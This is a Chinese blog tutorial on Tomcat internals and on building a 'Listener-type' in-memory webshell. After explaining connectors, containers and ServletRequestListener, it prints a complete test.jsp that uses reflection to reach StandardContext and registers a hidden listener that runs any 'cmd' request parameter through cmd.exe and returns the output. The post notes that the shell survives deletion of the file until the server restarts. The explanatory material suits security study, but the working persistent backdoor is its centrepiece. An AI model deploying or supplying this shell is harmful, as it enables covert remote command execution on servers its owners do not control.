Tomcat 内存马(一)Listener型
一、Tomcat介绍
Tomcat的主要功能
tomcat作为一个 Web 服务器,实现了两个非常核心的功能:
- Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文
- Servlet 容器功能:加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求
以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),连接器负责对外交流(完成 Http 服务器功能),容器负责内部处理(完成 Servlet 容器功能)。
Server
Server 服务器的意思,代表整个 tomcat 服务器,一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件,用于提供具体服务。Service
服务是 Server 内部的组件,一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 ContainerConnector
称作连接器,是 Service 的核心组件之一,一个 Service 可以有多个 Connector,主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response,然后交给 Container 进 行处理,Container 处理完之后在交给 Connector 返回给客户端。
Container
负责处理用户的 servlet 请求
Connector连接器
连接器主要完成以下三个核心功能:
- socket 通信,也就是网络编程
- 解析处理应用层协议,封装成一个 Request 对象
- 将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse
以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor,Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter,Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。
Container容器
Container组件又称作Catalina,其是Tomcat的核心。在Container中,有4种容器,分别是Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。
四种容器的作用:
- Engine
表示整个 Catalina 的 Servlet 引擎,用来管理多个虚拟站点,一个 Service 最多只能有一个 Engine,但是一个引擎可包含多个 Host - Host
代表一个虚拟主机,或者说一个站点,可以给 Tomcat 配置多个虚拟主机地址,而一个虚拟主机下可包含多个 Context - Context
表示一个 Web 应用程序,每一个Context都有唯一的path,一个Web应用可包含多个 Wrapper - Wrapper
表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等
如以下图,a.com和b.com分别对应着两个Host
tomcat的结构图:
二、Listener内存马
请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
- ServletContext,服务器启动和终止时触发
- Session,有关Session操作时触发
- Request,访问服务时触发
其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。
ServletRequestListener接口
如果在Tomcat要引入listener,需要实现两种接口,分别是LifecycleListener
和原生EvenListener
。
实现了LifecycleListener
接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。
所以来看另一个EventListener
接口,在Tomcat中,自定义了很多继承于EventListener
的接口,应用于各个对象的监听。
重点来看ServletRequestListener
接口
ServletRequestListener
用于监听ServletRequest
对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized
方法。
在这里,通过一个demo来介绍下ServletRequestListener
与其执行流程
配置tomcat源码调试环境:https://zhuanlan.zhihu.com/p/35454131
写一个继承于ServletRequestListener
接口的TestListener
:
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestInitialized");
}
}
在web.xml中配置:
<listener>
<listener-class>test.TestListener</listener-class>
</listener>
访问任意的路径:http://127.0.0.1:8080/11
可以看到控制台打印了信息,tomcat先执行了requestInitialized
,然后再执行了requestDestroyed
requestInitialized:在request对象创建时触发
requestDestroyed:在request对象销毁时触发
StandardContext对象
StandardContext
对象就是用来add恶意listener的地方
接以上环境,直接在requestInitialized
处下断点,访问url后,显示出整个调用链
通过调用链发现,Tomcat在StandardHostValve
中调用了我们定义的Listener
跟进context.fireRequestInitEvent
,在如图红框处调用了requestInitialized
方法
往上追踪后发现,以上的listener是在StandardContext#getApplicationEventListeners
方法中获得的
在StandardContext#addApplicationEventListener
添加了listener
这时候我们思路是,调用StandardContext#addApplicationEventListener
方法,add我们自己写的恶意listener
在jsp中如何获得StandardContext
对象
方式一:
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
方式二:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
以下是网络上公开的内存马:
test.jsp
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>
首先访问上传的test.jsp生成listener内存马,之后即使test.jsp删除,只要不重启服务器,内存马就能存在。
Tomcat 内存马(一)Listener型的更多相关文章
- Tomcat 内存马(二)Filter型
一.Tomcat处理请求 在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理. 在Cat ...
- 【免杀技术】Tomcat内存马-Filter
Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...
- tomcat内存马原理解析及实现
内存马 简介 Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...
- Java安全之基于Tomcat实现内存马
Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...
- 6. 站在巨人的肩膀学习Java Filter型内存马
本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...
- Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...
- Java Filter型内存马的学习与实践
完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ...
- JavaAgent型内存马基础
Java Instrumentation java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序.这种监测和协助包括但不 ...
- 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...
随机推荐
- swiper轮播高度不正常
第一次进入页面可能是网速原因,图片加载问题等吧,导致轮播图高度很大,下面出现空白, 需要加入参数 autoHeight: true, observer: true, observeParents: t ...
- 使用Jmeter执行接口自动化测试-如何初始化清空旧数据
需求分析: 每次执行完自动化测试,我们不会执行删除接口把数据删除,而需要留着手工测试,此时会导致下次执行测试有旧数据 我们手工可能也会新增数据,导致下次执行自动化测试有旧数据 下面介绍两种清空数据的方 ...
- Python守护线程简述
thread模块不支持守护线程的概念,当主线程退出时,所有的子线程都将终止,不管它们是否仍在工作,如果你不希望发生这种行为,就要引入守护线程的概念. threading模块支持守护线程,其工作方式是: ...
- CF438E-The Child and Binary Tree【生成函数】
正题 题目链接:https://www.luogu.com.cn/problem/CF438E 题目大意 每个节点有\(n\)个权值可以选择,对于\(1\sim m\)中的每个数字\(k\),求权值和 ...
- 深入浅出WPF-08.Event( 事件)02
路由事件 为了方便程序中对象之间的通信常常需要我们定义一些路由事件.使用路由事件比直接事件方便得多. 创建自定义路由事件的步骤: 1)声明并注册路由 2)为路由事件添加CLR事件包装 3)创建可以激发 ...
- Ubuntu开发相关环境搭建
一.Ubuntu系统语言环境切换修改 安装时,选择的中文版,但实际使用起来,很不爽,果断切换为英文 1.1 打开终端: vim /etc/default/locale 1.2 修改配置 LANG=&q ...
- Matlab 速记
链接:https://zhuanlan.zhihu.com/p/370259237 % 1.进度提醒 f = waitbar(0,'1','Name','进度'); set(f,'color','w' ...
- Redis新旧复制
在Redis中,用户可以通过执行SALVEOF命令,让一个服务器去复制另一个服务器. 127.0.0.1:12345> SLAVEOF 127.0.0.1 6379 OK 6379的奴隶是123 ...
- Unity——观察者模式
观察者模式 一.Demo展示 二.设计思路 我们假设一种情况,在app中修改了头像,在所有显示头像的UI中都需要更改相应的图片,一个个去获取然后调用刷新会非常麻烦: 因此我们需要一个自动响应机制--观 ...
- 【日志技术专题】「logback入门到精通」彻彻底底带你学会logback框架的使用和原理(入门介绍篇)
技术介绍 什么是 logback? Logback为取代 log4j 而生.Logback 由 log4j 的创立者 Ceki Gülcü设计.以十多年设计工业级记录系统的经验为基础,所创建的logb ...